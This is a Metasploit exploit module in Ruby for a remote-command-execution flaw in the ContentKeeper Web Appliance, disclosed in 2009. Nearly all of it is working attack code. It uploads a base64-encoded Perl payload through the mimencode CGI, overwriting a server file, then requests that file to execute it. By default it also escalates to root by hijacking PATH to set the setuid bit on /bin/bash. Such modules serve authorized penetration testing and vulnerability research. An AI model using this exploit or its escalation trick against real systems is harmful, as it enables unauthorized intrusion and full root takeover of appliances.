##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		   => 'ContentKeeper Web Remote Command Execution',
			'Description'  => %q{
					This module exploits the ContentKeeper Web Appliance. Versions prior
				to 125.10 are affected. This module exploits a combination of weaknesses
				to enable remote command execution as the Apache user. By setting
				SkipEscalation to false, this module will attempt to setuid the bash shell.
			},
			'Author' 	   => [ 'patrick' ],
			'Arch'		   => [ ARCH_CMD ],
			'License'      => MSF_LICENSE,
			'References'   =>
				[
					[ 'OSVDB', '54551' ],
					[ 'OSVDB', '54552' ],
					[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
				],
			'Privileged'	=> false,
			'Payload'      =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Platform'     => ['unix'],
			'Targets'      =>
				[
					[ 'Automatic', { } ]
				],
			'DisclosureDate' => 'Feb 25 2009',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('OVERWRITE', [ true,  "The target file to upload our payload (spamkeeper.dat, bak.txt, formdate.pl etc)", 'spamkeeper.dat']),
				OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
			],self.class)
	end

	def check
		connect
		sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
		banner = sock.get(-1,3)
		disconnect

		if (banner =~ /500 Internal/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit

		exp = "#!/usr/bin/perl\n"
		exp << "print \"Content-type: text/html\\n\\n\"\;\n\n"
		exp << "use IO::Socket::INET;\n"

		if (datastore['PAYLOAD'] =~ /perl/)
			if not datastore['SkipEscalation']
				print_status("Attempting to facilitate root escalation...")
				exp << %q{ system("echo /bin/chmod u+s /bin/bash > ps; /bin/chmod o+x ps; PATH=.:$PATH; ./benetool stopall;"); } # We can use either 'ps' or 'grep' but ps is fine.
			end
			exp << payload.encoded.gsub('perl -MIO -e ', '').gsub('\'', '') # We're already inside a perl script!
		else
			exp << "system(\""
			exp << payload.encoded.gsub('"', '\"')
			exp << "\");\n"
		end

		body = Rex::Text.encode_base64(exp)

		connect

		sploit = "POST /cgi-bin/ck/mimencode?-u+-o+#{datastore['OVERWRITE']} HTTP/1.1\r\n"
		sploit << "Host: #{datastore['RHOST']}\r\n"
		sploit << "Content-Length: #{body.length}\r\n\r\n"

		print_status("Uploading payload to target...")
		sock.put(sploit + body + "\r\n\r\n")
		disconnect

		select(nil,nil,nil,3) # Wait a few seconds..
		print_status("Calling payload...")
		connect
		req = "GET /cgi-bin/ck/#{datastore['OVERWRITE']} HTTP/1.1\r\n" # Almost all files are owned by root, chmod'ed 777 :) rwx
		req << "Host: #{datastore['RHOST']}\r\n"
		sock.put(req + "\r\n\r\n")

		handler
		disconnect
		select(nil,nil,nil,3) # Wait for session creation.
		if not datastore['SkipEscalation'] and session_created? and datastore['PAYLOAD'] =~ /perl/
			print_status("Privilege escalation appears to have worked!")
			print_status("/bin/bash is now root setuid! Type 'bash -p' to get root.")
			print_status("Don't forget to clean up afterwards (chmod -s /bin/bash and restore an original copy of the OVERWRITE file).")
		end

	end
end
